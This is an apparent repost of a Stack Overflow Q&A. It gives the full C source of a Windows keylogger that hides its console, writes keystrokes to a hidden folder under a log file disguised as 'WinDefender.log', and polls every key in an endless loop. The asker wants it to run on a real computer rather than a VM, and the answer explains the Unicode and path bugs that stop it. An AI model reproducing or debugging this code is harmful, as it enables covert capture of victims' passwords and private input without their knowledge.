gpt4 book ai didi

c - 键盘记录器在 VM 上工作但不在我的真实计算机上工作

转载 作者:太空宇宙 更新时间:2023-11-04 00:44:08 24 4
gpt4 key购买 nike

首先,这不是我的代码。是Minhas Kamal's code ,但我正在编辑它并从中学习。所有的功劳都归于他。

该代码在 Windows 10 虚拟机上运行完美,但是当我尝试在 VM 外运行它时(在我自己的计算机上,也是 Windows 10),它确实编译并运行,但问题是它没有不会创建任何“隐藏”目录,因此它也不会创建日志文件“WinDefender.log”。

我完全不知道问题出在哪里。非常感谢任何帮助。

/**
* Developer: Minhas Kamal (minhaskamal024@gmail.com)
* Date: 15.Aug.2014
* Website: https://minhaskamal.github.io/StupidKeylogger
* License: MIT License
**/


#include <windows.h>
#include <time.h>
#include <stdio.h>

#define FILE_NAME "WinDefender.log"

int main() {
FreeConsole();

CreateDirectory("C:/%Userprofile%/AppData/Roaming/Hidden", NULL);
SetFileAttributes("C:/%Userprofile%/AppData/Roaming/Hidden", FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", FILE_ATTRIBUTE_HIDDEN);

FILE *file = fopen("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", "a");

time_t date = time(NULL);
fprintf(file, "0\n%s\t", ctime(&date));
fclose(file);

unsigned short ch, i;
while (1) { //infinite loop

ch = 1;
while (ch<250) { //scans for 0-249 ASCII craracters
// this strange and extra loop helps in sensing fast-keystrokes with
// minimum processor use
for (i = 0; i<50; i++, ch++) {

//when key is stroke
if (GetAsyncKeyState(ch) == -32767) {

//append the ASCII code of the character
file = fopen("C:/%Userprofile%/AppData/Roaming/Hidden/WinDefender.log", "a");
fprintf(file, "%d ", ch);
fclose(file);
}
}
Sleep(1);
}
}
}

最佳答案

  1. Win32 API 默认为 UNICODE,即 WCHAR (wchar_t) 而不是 CHAR (char)。
  2. %userprofile% 指定驱动器名称。您不应该假设它是驱动器 C。

阅读有关 CreateDirectoryA 的 MSDN 文档或 CreateDirectoryW并在您的代码或工具链命令行中选择 UNICODE ANSI 字符代码集。

关于c - 键盘记录器在 VM 上工作但不在我的真实计算机上工作,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/51226945/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com